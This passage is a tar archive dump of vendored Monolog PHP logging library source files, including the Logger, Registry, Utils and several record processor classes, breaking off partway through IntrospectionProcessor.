Monolog\DateTimeImmutable; use Monolog\Formatter\FormatterInterface; /** * Lets you easily generate log records and a dummy formatter for testing purposes * * * @author Jordi Boggiano <j.boggiano@seld.be> */ class TestCase extends \PHPUnit\Framework\TestCase { /** * @return array Record */ protected function getRecord($level = Logger::WARNING, $message = 'test', array $context = []): array { return [ 'message' => (string) $message, 'context' => $context, 'level' => $level, 'level_name' => Logger::getLevelName($level), 'channel' => 'test', 'datetime' => new DateTimeImmutable(true), 'extra' => [], ]; } protected function getMultipleRecords(): array { return [ $this->getRecord(Logger::DEBUG, 'debug message 1'), $this->getRecord(Logger::DEBUG, 'debug message 2'), $this->getRecord(Logger::INFO, 'information'), $this->getRecord(Logger::WARNING, 'warning'), $this->getRecord(Logger::ERROR, 'error'), ]; } protected function getIdentityFormatter(): FormatterInterface { $formatter = $this->createMock(FormatterInterface::class); $formatter->expects($this->any()) ->method('format') ->will($this->returnCallback(function ($record) { return $record['message']; })); return $formatter; } } ���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������merlin/vendor/monolog/monolog/src/Monolog/Registry.php����������������������������������������������0000644�����������������00000007616�15154650146�0017216 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php declare(strict_types=1); /* * This file is part of the Monolog package. * * (c) Jordi Boggiano <j.boggiano@seld.be> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog; use InvalidArgumentException; /** * Monolog log registry * * Allows to get `Logger` instances in the global scope * via static method calls on this class. * * <code> * $application = new Monolog\Logger('application'); * $api = new Monolog\Logger('api'); * * Monolog\Registry::addLogger($application); * Monolog\Registry::addLogger($api); * * function testLogger() * { * Monolog\Registry::api()->error('Sent to $api Logger instance'); * Monolog\Registry::application()->error('Sent to $application Logger instance'); * } * </code> * * @author Tomas Tatarko <tomas@tatarko.sk> */ class Registry { /** * List of all loggers in the registry (by named indexes) * * @var Logger[] */ private static $loggers = []; /** * Adds new logging channel to the registry * * @param Logger $logger Instance of the logging channel * @param string|null $name Name of the logging channel ($logger->getName() by default) * @param bool $overwrite Overwrite instance in the registry if the given name already exists? * @throws \InvalidArgumentException If $overwrite set to false and named Logger instance already exists */ public static function addLogger(Logger $logger, ?string $name = null, bool $overwrite = false) { $name = $name ?: $logger->getName(); if (isset(self::$loggers[$name]) && !$overwrite) { throw new InvalidArgumentException('Logger with the given name already exists'); } self::$loggers[$name] = $logger; } /** * Checks if such logging channel exists by name or instance * * @param string|Logger $logger Name or logger instance */ public static function hasLogger($logger): bool { if ($logger instanceof Logger) { $index = array_search($logger, self::$loggers, true); return false !== $index; } return isset(self::$loggers[$logger]); } /** * Removes instance from registry by name or instance * * @param string|Logger $logger Name or logger instance */ public static function removeLogger($logger): void { if ($logger instanceof Logger) { if (false !== ($idx = array_search($logger, self::$loggers, true))) { unset(self::$loggers[$idx]); } } else { unset(self::$loggers[$logger]); } } /** * Clears the registry */ public static function clear(): void { self::$loggers = []; } /** * Gets Logger instance from the registry * * @param string $name Name of the requested Logger instance * @throws \InvalidArgumentException If named Logger instance is not in the registry */ public static function getInstance($name): Logger { if (!isset(self::$loggers[$name])) { throw new InvalidArgumentException(sprintf('Requested "%s" logger instance is not in the registry', $name)); } return self::$loggers[$name]; } /** * Gets Logger instance from the registry via static method call * * @param string $name Name of the requested Logger instance * @param array $arguments Arguments passed to static method call * @throws \InvalidArgumentException If named Logger instance is not in the registry * @return Logger Requested instance of Logger */ public static function __callStatic($name, $arguments) { return self::getInstance($name); } } ������������������������������������������������������������������������������������������������������������������merlin/vendor/monolog/monolog/src/Monolog/Utils.php�������������������������������������������������0000644�����������������00000015555�15154650146�0016507 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php declare(strict_types=1); /* * This file is part of the Monolog package. * * (c) Jordi Boggiano <j.boggiano@seld.be> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog; final class Utils { const DEFAULT_JSON_FLAGS = JSON_UNESCAPED_SLASHES | JSON_UNESCAPED_UNICODE | JSON_PRESERVE_ZERO_FRACTION | JSON_INVALID_UTF8_SUBSTITUTE | JSON_PARTIAL_OUTPUT_ON_ERROR; public static function getClass(object $object): string { $class = \get_class($object); return 'c' === $class[0] && 0 === strpos($class, "class@anonymous\0") ? get_parent_class($class).'@anonymous' : $class; } public static function substr(string $string, int $start, ?int $length = null): string { if (extension_loaded('mbstring')) { return mb_strcut($string, $start, $length); } return substr($string, $start, (null === $length) ? strlen($string) : $length); } /** * Makes sure if a relative path is passed in it is turned into an absolute path * * @param string $streamUrl stream URL or path without protocol */ public static function canonicalizePath(string $streamUrl): string { $prefix = ''; if ('file://' === substr($streamUrl, 0, 7)) { $streamUrl = substr($streamUrl, 7); $prefix = 'file://'; } // other type of stream, not supported if (false !== strpos($streamUrl, '://')) { return $streamUrl; } // already absolute if (substr($streamUrl, 0, 1) === '/' || substr($streamUrl, 1, 1) === ':' || substr($streamUrl, 0, 2) === '\\\\') { return $prefix.$streamUrl; } $streamUrl = getcwd() . '/' . $streamUrl; return $prefix.$streamUrl; } /** * Return the JSON representation of a value * * @param mixed $data * @param int $encodeFlags flags to pass to json encode, defaults to DEFAULT_JSON_FLAGS * @param bool $ignoreErrors whether to ignore encoding errors or to throw on error, when ignored and the encoding fails, "null" is returned which is valid json for null * @throws \RuntimeException if encoding fails and errors are not ignored * @return string when errors are ignored and the encoding fails, "null" is returned which is valid json for null */ public static function jsonEncode($data, ?int $encodeFlags = null, bool $ignoreErrors = false): string { if (null === $encodeFlags) { $encodeFlags = self::DEFAULT_JSON_FLAGS; } if ($ignoreErrors) { $json = @json_encode($data, $encodeFlags); if (false === $json) { return 'null'; } return $json; } $json = json_encode($data, $encodeFlags); if (false === $json) { $json = self::handleJsonError(json_last_error(), $data); } return $json; } /** * Handle a json_encode failure. * * If the failure is due to invalid string encoding, try to clean the * input and encode again. If the second encoding attempt fails, the * initial error is not encoding related or the input can't be cleaned then * raise a descriptive exception. * * @param int $code return code of json_last_error function * @param mixed $data data that was meant to be encoded * @param int $encodeFlags flags to pass to json encode, defaults to JSON_UNESCAPED_SLASHES | JSON_UNESCAPED_UNICODE | JSON_PRESERVE_ZERO_FRACTION * @throws \RuntimeException if failure can't be corrected * @return string JSON encoded data after error correction */ public static function handleJsonError(int $code, $data, ?int $encodeFlags = null): string { if ($code !== JSON_ERROR_UTF8) { self::throwEncodeError($code, $data); } if (is_string($data)) { self::detectAndCleanUtf8($data); } elseif (is_array($data)) { array_walk_recursive($data, array('Monolog\Utils', 'detectAndCleanUtf8')); } else { self::throwEncodeError($code, $data); } if (null === $encodeFlags) { $encodeFlags = self::DEFAULT_JSON_FLAGS; } $json = json_encode($data, $encodeFlags); if ($json === false) { self::throwEncodeError(json_last_error(), $data); } return $json; } /** * Throws an exception according to a given code with a customized message * * @param int $code return code of json_last_error function * @param mixed $data data that was meant to be encoded * @throws \RuntimeException */ private static function throwEncodeError(int $code, $data): void { switch ($code) { case JSON_ERROR_DEPTH: $msg = 'Maximum stack depth exceeded'; break; case JSON_ERROR_STATE_MISMATCH: $msg = 'Underflow or the modes mismatch'; break; case JSON_ERROR_CTRL_CHAR: $msg = 'Unexpected control character found'; break; case JSON_ERROR_UTF8: $msg = 'Malformed UTF-8 characters, possibly incorrectly encoded'; break; default: $msg = 'Unknown error'; } throw new \RuntimeException('JSON encoding failed: '.$msg.'. Encoding: '.var_export($data, true)); } /** * Detect invalid UTF-8 string characters and convert to valid UTF-8. * * Valid UTF-8 input will be left unmodified, but strings containing * invalid UTF-8 codepoints will be reencoded as UTF-8 with an assumed * original encoding of ISO-8859-15. This conversion may result in * incorrect output if the actual encoding was not ISO-8859-15, but it * will be clean UTF-8 output and will not rely on expensive and fragile * detection algorithms. * * Function converts the input in place in the passed variable so that it * can be used as a callback for array_walk_recursive. * * @param mixed $data Input to check and convert if needed, passed by ref */ private static function detectAndCleanUtf8(&$data): void { if (is_string($data) && !preg_match('//u', $data)) { $data = preg_replace_callback( '/[\x80-\xFF]+/', function ($m) { return utf8_encode($m[0]); }, $data ); $data = str_replace( ['¤', '¦', '¨', '´', '¸', '¼', '½', '¾'], ['€', 'Å ', 'Å¡', 'Ž', 'ž', 'Å’', 'Å“', 'Ÿ'], $data ); } } } ���������������������������������������������������������������������������������������������������������������������������������������������������merlin/vendor/monolog/monolog/src/Monolog/Logger.php������������������������������������������������0000644�����������������00000041513�15154650146�0016617 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php declare(strict_types=1); /* * This file is part of the Monolog package. * * (c) Jordi Boggiano <j.boggiano@seld.be> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog; use DateTimeZone; use Monolog\Handler\HandlerInterface; use Psr\Log\LoggerInterface; use Psr\Log\InvalidArgumentException; use Throwable; /** * Monolog log channel * * It contains a stack of Handlers and a stack of Processors, * and uses them to store records that are added to it. * * @author Jordi Boggiano <j.boggiano@seld.be> */ class Logger implements LoggerInterface, ResettableInterface { /** * Detailed debug information */ public const DEBUG = 100; /** * Interesting events * * Examples: User logs in, SQL logs. */ public const INFO = 200; /** * Uncommon events */ public const NOTICE = 250; /** * Exceptional occurrences that are not errors * * Examples: Use of deprecated APIs, poor use of an API, * undesirable things that are not necessarily wrong. */ public const WARNING = 300; /** * Runtime errors */ public const ERROR = 400; /** * Critical conditions * * Example: Application component unavailable, unexpected exception. */ public const CRITICAL = 500; /** * Action must be taken immediately * * Example: Entire website down, database unavailable, etc. * This should trigger the SMS alerts and wake you up. */ public const ALERT = 550; /** * Urgent alert. */ public const EMERGENCY = 600; /** * Monolog API version * * This is only bumped when API breaks are done and should * follow the major version of the library * * @var int */ public const API = 2; /** * This is a static variable and not a constant to serve as an extension point for custom levels * * @var array<int, string> $levels Logging levels with the levels as key */ protected static $levels = [ self::DEBUG => 'DEBUG', self::INFO => 'INFO', self::NOTICE => 'NOTICE', self::WARNING => 'WARNING', self::ERROR => 'ERROR', self::CRITICAL => 'CRITICAL', self::ALERT => 'ALERT', self::EMERGENCY => 'EMERGENCY', ]; /** * @var string */ protected $name; /** * The handler stack * * @var HandlerInterface[] */ protected $handlers; /** * Processors that will process all log records * * To process records of a single handler instead, add the processor on that specific handler * * @var callable[] */ protected $processors; /** * @var bool */ protected $microsecondTimestamps = true; /** * @var DateTimeZone */ protected $timezone; /** * @var callable|null */ protected $exceptionHandler; /** * @psalm-param array<callable(array): array> $processors * * @param string $name The logging channel, a simple descriptive name that is attached to all log records * @param HandlerInterface[] $handlers Optional stack of handlers, the first one in the array is called first, etc. * @param callable[] $processors Optional array of processors * @param DateTimeZone|null $timezone Optional timezone, if not provided date_default_timezone_get() will be used */ public function __construct(string $name, array $handlers = [], array $processors = [], ?DateTimeZone $timezone = null) { $this->name = $name; $this->setHandlers($handlers); $this->processors = $processors; $this->timezone = $timezone ?: new DateTimeZone(date_default_timezone_get() ?: 'UTC'); } public function getName(): string { return $this->name; } /** * Return a new cloned instance with the name changed */ public function withName(string $name): self { $new = clone $this; $new->name = $name; return $new; } /** * Pushes a handler on to the stack. */ public function pushHandler(HandlerInterface $handler): self { array_unshift($this->handlers, $handler); return $this; } /** * Pops a handler from the stack * * @throws \LogicException If empty handler stack */ public function popHandler(): HandlerInterface { if (!$this->handlers) { throw new \LogicException('You tried to pop from an empty handler stack.'); } return array_shift($this->handlers); } /** * Set handlers, replacing all existing ones. * * If a map is passed, keys will be ignored. * * @param HandlerInterface[] $handlers */ public function setHandlers(array $handlers): self { $this->handlers = []; foreach (array_reverse($handlers) as $handler) { $this->pushHandler($handler); } return $this; } /** * @return HandlerInterface[] */ public function getHandlers(): array { return $this->handlers; } /** * Adds a processor on to the stack. */ public function pushProcessor(callable $callback): self { array_unshift($this->processors, $callback); return $this; } /** * Removes the processor on top of the stack and returns it. * * @throws \LogicException If empty processor stack * @return callable */ public function popProcessor(): callable { if (!$this->processors) { throw new \LogicException('You tried to pop from an empty processor stack.'); } return array_shift($this->processors); } /** * @return callable[] */ public function getProcessors(): array { return $this->processors; } /** * Control the use of microsecond resolution timestamps in the 'datetime' * member of new records. * * As of PHP7.1 microseconds are always included by the engine, so * there is no performance penalty and Monolog 2 enabled microseconds * by default. This function lets you disable them though in case you want * to suppress microseconds from the output. * * @param bool $micro True to use microtime() to create timestamps */ public function useMicrosecondTimestamps(bool $micro): void { $this->microsecondTimestamps = $micro; } /** * Adds a log record. * * @param int $level The logging level * @param string $message The log message * @param mixed[] $context The log context * @return bool Whether the record has been processed */ public function addRecord(int $level, string $message, array $context = []): bool { $offset = 0; $record = null; foreach ($this->handlers as $handler) { if (null === $record) { // skip creating the record as long as no handler is going to handle it if (!$handler->isHandling(['level' => $level])) { continue; } $levelName = static::getLevelName($level); $record = [ 'message' => $message, 'context' => $context, 'level' => $level, 'level_name' => $levelName, 'channel' => $this->name, 'datetime' => new DateTimeImmutable($this->microsecondTimestamps, $this->timezone), 'extra' => [], ]; try { foreach ($this->processors as $processor) { $record = $processor($record); } } catch (Throwable $e) { $this->handleException($e, $record); return true; } } // once the record exists, send it to all handlers as long as the bubbling chain is not interrupted try { if (true === $handler->handle($record)) { break; } } catch (Throwable $e) { $this->handleException($e, $record); return true; } } return null !== $record; } /** * Ends a log cycle and frees all resources used by handlers. * * Closing a Handler means flushing all buffers and freeing any open resources/handles. * Handlers that have been closed should be able to accept log records again and re-open * themselves on demand, but this may not always be possible depending on implementation. * * This is useful at the end of a request and will be called automatically on every handler * when they get destructed. */ public function close(): void { foreach ($this->handlers as $handler) { $handler->close(); } } /** * Ends a log cycle and resets all handlers and processors to their initial state. * * Resetting a Handler or a Processor means flushing/cleaning all buffers, resetting internal * state, and getting it back to a state in which it can receive log records again. * * This is useful in case you want to avoid logs leaking between two requests or jobs when you * have a long running process like a worker or an application server serving multiple requests * in one process. */ public function reset(): void { foreach ($this->handlers as $handler) { if ($handler instanceof ResettableInterface) { $handler->reset(); } } foreach ($this->processors as $processor) { if ($processor instanceof ResettableInterface) { $processor->reset(); } } } /** * Gets all supported logging levels. * * @return array<string, int> Assoc array with human-readable level names => level codes. */ public static function getLevels(): array { return array_flip(static::$levels); } /** * Gets the name of the logging level. * * @throws \Psr\Log\InvalidArgumentException If level is not defined */ public static function getLevelName(int $level): string { if (!isset(static::$levels[$level])) { throw new InvalidArgumentException('Level "'.$level.'" is not defined, use one of: '.implode(', ', array_keys(static::$levels))); } return static::$levels[$level]; } /** * Converts PSR-3 levels to Monolog ones if necessary * * @param string|int $level Level number (monolog) or name (PSR-3) * @throws \Psr\Log\InvalidArgumentException If level is not defined */ public static function toMonologLevel($level): int { if (is_string($level)) { if (is_numeric($level)) { return intval($level); } // Contains chars of all log levels and avoids using strtoupper() which may have // strange results depending on locale (for example, "i" will become "İ" in Turkish locale) $upper = strtr($level, 'abcdefgilmnortuwy', 'ABCDEFGILMNORTUWY'); if (defined(__CLASS__.'::'.$upper)) { return constant(__CLASS__ . '::' . $upper); } throw new InvalidArgumentException('Level "'.$level.'" is not defined, use one of: '.implode(', ', array_keys(static::$levels))); } if (!is_int($level)) { throw new InvalidArgumentException('Level "'.var_export($level, true).'" is not defined, use one of: '.implode(', ', array_keys(static::$levels))); } return $level; } /** * Checks whether the Logger has a handler that listens on the given level */ public function isHandling(int $level): bool { $record = [ 'level' => $level, ]; foreach ($this->handlers as $handler) { if ($handler->isHandling($record)) { return true; } } return false; } /** * Set a custom exception handler that will be called if adding a new record fails * * The callable will receive an exception object and the record that failed to be logged */ public function setExceptionHandler(?callable $callback): self { $this->exceptionHandler = $callback; return $this; } public function getExceptionHandler(): ?callable { return $this->exceptionHandler; } /** * Adds a log record at an arbitrary level. * * This method allows for compatibility with common interfaces. * * @param mixed $level The log level * @param string $message The log message * @param mixed[] $context The log context */ public function log($level, $message, array $context = []): void { $level = static::toMonologLevel($level); $this->addRecord($level, (string) $message, $context); } /** * Adds a log record at the DEBUG level. * * This method allows for compatibility with common interfaces. * * @param string $message The log message * @param mixed[] $context The log context */ public function debug($message, array $context = []): void { $this->addRecord(static::DEBUG, (string) $message, $context); } /** * Adds a log record at the INFO level. * * This method allows for compatibility with common interfaces. * * @param string $message The log message * @param mixed[] $context The log context */ public function info($message, array $context = []): void { $this->addRecord(static::INFO, (string) $message, $context); } /** * Adds a log record at the NOTICE level. * * This method allows for compatibility with common interfaces. * * @param string $message The log message * @param mixed[] $context The log context */ public function notice($message, array $context = []): void { $this->addRecord(static::NOTICE, (string) $message, $context); } /** * Adds a log record at the WARNING level. * * This method allows for compatibility with common interfaces. * * @param string $message The log message * @param mixed[] $context The log context */ public function warning($message, array $context = []): void { $this->addRecord(static::WARNING, (string) $message, $context); } /** * Adds a log record at the ERROR level. * * This method allows for compatibility with common interfaces. * * @param string $message The log message * @param mixed[] $context The log context */ public function error($message, array $context = []): void { $this->addRecord(static::ERROR, (string) $message, $context); } /** * Adds a log record at the CRITICAL level. * * This method allows for compatibility with common interfaces. * * @param string $message The log message * @param mixed[] $context The log context */ public function critical($message, array $context = []): void { $this->addRecord(static::CRITICAL, (string) $message, $context); } /** * Adds a log record at the ALERT level. * * This method allows for compatibility with common interfaces. * * @param string $message The log message * @param mixed[] $context The log context */ public function alert($message, array $context = []): void { $this->addRecord(static::ALERT, (string) $message, $context); } /** * Adds a log record at the EMERGENCY level. * * This method allows for compatibility with common interfaces. * * @param string $message The log message * @param mixed[] $context The log context */ public function emergency($message, array $context = []): void { $this->addRecord(static::EMERGENCY, (string) $message, $context); } /** * Sets the timezone to be used for the timestamp of log records. */ public function setTimezone(DateTimeZone $tz): self { $this->timezone = $tz; return $this; } /** * Returns the timezone to be used for the timestamp of log records. */ public function getTimezone(): DateTimeZone { return $this->timezone; } /** * Delegates exception management to the custom exception handler, * or throws the exception if no custom handler is set. */ protected function handleException(Throwable $e, array $record): void { if (!$this->exceptionHandler) { throw $e; } ($this->exceptionHandler)($e, $record); } } �������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������merlin/vendor/monolog/monolog/src/Monolog/DateTimeImmutable.php�������������������������������������0000644�����������������00000002075�15154650146�0020734 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php declare(strict_types=1); /* * This file is part of the Monolog package. * * (c) Jordi Boggiano <j.boggiano@seld.be> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog; use DateTimeZone; /** * Overrides default json encoding of date time objects * * @author Menno Holtkamp * @author Jordi Boggiano <j.boggiano@seld.be> */ class DateTimeImmutable extends \DateTimeImmutable implements \JsonSerializable { /** * @var bool */ private $useMicroseconds; public function __construct(bool $useMicroseconds, ?DateTimeZone $timezone = null) { $this->useMicroseconds = $useMicroseconds; parent::__construct('now', $timezone); } public function jsonSerialize(): string { if ($this->useMicroseconds) { return $this->format('Y-m-d\TH:i:s.uP'); } return $this->format('Y-m-d\TH:i:sP'); } public function __toString(): string { return $this->jsonSerialize(); } } �������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������merlin/vendor/monolog/monolog/src/Monolog/Processor/GitProcessor.php��������������������������������0000644�����������������00000002770�15154650146�0022004 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php declare(strict_types=1); /* * This file is part of the Monolog package. * * (c) Jordi Boggiano <j.boggiano@seld.be> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog\Processor; use Monolog\Logger; /** * Injects Git branch and Git commit SHA in all records * * @author Nick Otter * @author Jordi Boggiano <j.boggiano@seld.be> */ class GitProcessor implements ProcessorInterface { private $level; private static $cache; /** * @param string|int $level The minimum logging level at which this Processor will be triggered */ public function __construct($level = Logger::DEBUG) { $this->level = Logger::toMonologLevel($level); } public function __invoke(array $record): array { // return if the level is not high enough if ($record['level'] < $this->level) { return $record; } $record['extra']['git'] = self::getGitInfo(); return $record; } private static function getGitInfo(): array { if (self::$cache) { return self::$cache; } $branches = `git branch -v --no-abbrev`; if ($branches && preg_match('{^\* (.+?)\s+([a-f0-9]{40})(?:\s|$)}m', $branches, $matches)) { return self::$cache = [ 'branch' => $matches[1], 'commit' => $matches[2], ]; } return self::$cache = []; } } ��������merlin/vendor/monolog/monolog/src/Monolog/Processor/TagProcessor.php��������������������������������0000644�����������������00000001635�15154650146�0021773 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php declare(strict_types=1); /* * This file is part of the Monolog package. * * (c) Jordi Boggiano <j.boggiano@seld.be> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog\Processor; /** * Adds a tags array into record * * @author Martijn Riemers */ class TagProcessor implements ProcessorInterface { private $tags; public function __construct(array $tags = []) { $this->setTags($tags); } public function addTags(array $tags = []): self { $this->tags = array_merge($this->tags, $tags); return $this; } public function setTags(array $tags = []): self { $this->tags = $tags; return $this; } public function __invoke(array $record): array { $record['extra']['tags'] = $this->tags; return $record; } } ���������������������������������������������������������������������������������������������������merlin/vendor/monolog/monolog/src/Monolog/Processor/ProcessorInterface.php��������������������������0000644�����������������00000001040�15154650146�0023146 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php declare(strict_types=1); /* * This file is part of the Monolog package. * * (c) Jordi Boggiano <j.boggiano@seld.be> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog\Processor; /** * An optional interface to allow labelling Monolog processors. * * @author Nicolas Grekas <p@tchwork.com> */ interface ProcessorInterface { /** * @return array The processed record */ public function __invoke(array $record); } ������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������merlin/vendor/monolog/monolog/src/Monolog/Processor/PsrLogMessageProcessor.php����������������������0000644�����������������00000005543�15154650146�0023775 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php declare(strict_types=1); /* * This file is part of the Monolog package. * * (c) Jordi Boggiano <j.boggiano@seld.be> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog\Processor; use Monolog\Utils; /** * Processes a record's message according to PSR-3 rules * * It replaces {foo} with the value from $context['foo'] * * @author Jordi Boggiano <j.boggiano@seld.be> */ class PsrLogMessageProcessor implements ProcessorInterface { public const SIMPLE_DATE = "Y-m-d\TH:i:s.uP"; /** @var string|null */ private $dateFormat; /** @var bool */ private $removeUsedContextFields; /** * @param string|null $dateFormat The format of the timestamp: one supported by DateTime::format * @param bool $removeUsedContextFields If set to true the fields interpolated into message gets unset */ public function __construct(?string $dateFormat = null, bool $removeUsedContextFields = false) { $this->dateFormat = $dateFormat; $this->removeUsedContextFields = $removeUsedContextFields; } /** * @param array $record * @return array */ public function __invoke(array $record): array { if (false === strpos($record['message'], '{')) { return $record; } $replacements = []; foreach ($record['context'] as $key => $val) { $placeholder = '{' . $key . '}'; if (strpos($record['message'], $placeholder) === false) { continue; } if (is_null($val) || is_scalar($val) || (is_object($val) && method_exists($val, "__toString"))) { $replacements[$placeholder] = $val; } elseif ($val instanceof \DateTimeInterface) { if (!$this->dateFormat && $val instanceof \Monolog\DateTimeImmutable) { // handle monolog dates using __toString if no specific dateFormat was asked for // so that it follows the useMicroseconds flag $replacements[$placeholder] = (string) $val; } else { $replacements[$placeholder] = $val->format($this->dateFormat ?: static::SIMPLE_DATE); } } elseif (is_object($val)) { $replacements[$placeholder] = '[object '.Utils::getClass($val).']'; } elseif (is_array($val)) { $replacements[$placeholder] = 'array'.Utils::jsonEncode($val, null, true); } else { $replacements[$placeholder] = '['.gettype($val).']'; } if ($this->removeUsedContextFields) { unset($record['context'][$key]); } } $record['message'] = strtr($record['message'], $replacements); return $record; } } �������������������������������������������������������������������������������������������������������������������������������������������������������������merlin/vendor/monolog/monolog/src/Monolog/Processor/MemoryProcessor.php�����������������������������0000644�����������������00000003443�15154650146�0022527 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php declare(strict_types=1); /* * This file is part of the Monolog package. * * (c) Jordi Boggiano <j.boggiano@seld.be> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog\Processor; /** * Some methods that are common for all memory processors * * @author Rob Jensen */ abstract class MemoryProcessor implements ProcessorInterface { /** * @var bool If true, get the real size of memory allocated from system. Else, only the memory used by emalloc() is reported. */ protected $realUsage; /** * @var bool If true, then format memory size to human readable string (MB, KB, B depending on size) */ protected $useFormatting; /** * @param bool $realUsage Set this to true to get the real size of memory allocated from system. * @param bool $useFormatting If true, then format memory size to human readable string (MB, KB, B depending on size) */ public function __construct(bool $realUsage = true, bool $useFormatting = true) { $this->realUsage = $realUsage; $this->useFormatting = $useFormatting; } /** * Formats bytes into a human readable string if $this->useFormatting is true, otherwise return $bytes as is * * @param int $bytes * @return string|int Formatted string if $this->useFormatting is true, otherwise return $bytes as int */ protected function formatBytes(int $bytes) { if (!$this->useFormatting) { return $bytes; } if ($bytes > 1024 * 1024) { return round($bytes / 1024 / 1024, 2).' MB'; } elseif ($bytes > 1024) { return round($bytes / 1024, 2).' KB'; } return $bytes . ' B'; } } �����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������merlin/vendor/monolog/monolog/src/Monolog/Processor/WebProcessor.php��������������������������������0000644�����������������00000005721�15154650146�0021775 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php declare(strict_types=1); /* * This file is part of the Monolog package. * * (c) Jordi Boggiano <j.boggiano@seld.be> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog\Processor; /** * Injects url/method and remote IP of the current web request in all records * * @author Jordi Boggiano <j.boggiano@seld.be> */ class WebProcessor implements ProcessorInterface { /** * @var array|\ArrayAccess */ protected $serverData; /** * Default fields * * Array is structured as [key in record.extra => key in $serverData] * * @var array */ protected $extraFields = [ 'url' => 'REQUEST_URI', 'ip' => 'REMOTE_ADDR', 'http_method' => 'REQUEST_METHOD', 'server' => 'SERVER_NAME', 'referrer' => 'HTTP_REFERER', ]; /** * @param array|\ArrayAccess|null $serverData Array or object w/ ArrayAccess that provides access to the $_SERVER data * @param array|null $extraFields Field names and the related key inside $serverData to be added. If not provided it defaults to: url, ip, http_method, server, referrer */ public function __construct($serverData = null, array $extraFields = null) { if (null === $serverData) { $this->serverData = &$_SERVER; } elseif (is_array($serverData) || $serverData instanceof \ArrayAccess) { $this->serverData = $serverData; } else { throw new \UnexpectedValueException('$serverData must be an array or object implementing ArrayAccess.'); } if (isset($this->serverData['UNIQUE_ID'])) { $this->extraFields['unique_id'] = 'UNIQUE_ID'; } if (null !== $extraFields) { if (isset($extraFields[0])) { foreach (array_keys($this->extraFields) as $fieldName) { if (!in_array($fieldName, $extraFields)) { unset($this->extraFields[$fieldName]); } } } else { $this->extraFields = $extraFields; } } } public function __invoke(array $record): array { // skip processing if for some reason request data // is not present (CLI or wonky SAPIs) if (!isset($this->serverData['REQUEST_URI'])) { return $record; } $record['extra'] = $this->appendExtraFields($record['extra']); return $record; } public function addExtraField(string $extraName, string $serverName): self { $this->extraFields[$extraName] = $serverName; return $this; } private function appendExtraFields(array $extra): array { foreach ($this->extraFields as $extraName => $serverName) { $extra[$extraName] = $this->serverData[$serverName] ?? null; } return $extra; } } �����������������������������������������������merlin/vendor/monolog/monolog/src/Monolog/Processor/HostnameProcessor.php���������������������������0000644�����������������00000001230�15154650146�0023025 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php declare(strict_types=1); /* * This file is part of the Monolog package. * * (c) Jordi Boggiano <j.boggiano@seld.be> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog\Processor; /** * Injects value of gethostname in all records */ class HostnameProcessor implements ProcessorInterface { private static $host; public function __construct() { self::$host = (string) gethostname(); } public function __invoke(array $record): array { $record['extra']['hostname'] = self::$host; return $record; } } ������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������merlin/vendor/monolog/monolog/src/Monolog/Processor/IntrospectionProcessor.php����������������������0000644�����������������00000006430�15154650146�0024116 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php declare(strict_types=1); /* * This file is part of the Monolog package. * * (c) Jordi Boggiano <j.boggiano@seld.be> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog\Processor; use Monolog\Logger; /** * Injects line/file:class/function where the log message came from * * Warning: This only works if the handler processes the logs directly. * If you put the processor on a handler that is behind a FingersCrossedHandler * for example, the processor will only be called once the trigger level is reached, * and all the log records will have the same file/line/.. data from the call that * triggered the FingersCrossedHandler. * * @author Jordi Boggiano <j.boggiano@seld.be> */ class IntrospectionProcessor implements ProcessorInterface { private $level; private $skipClassesPartials; private $skipStackFramesCount; private $skipFunctions = [ 'call_user_func', 'call_user_func_array', ]; /** * @param string|int $level The minimum logging level at which 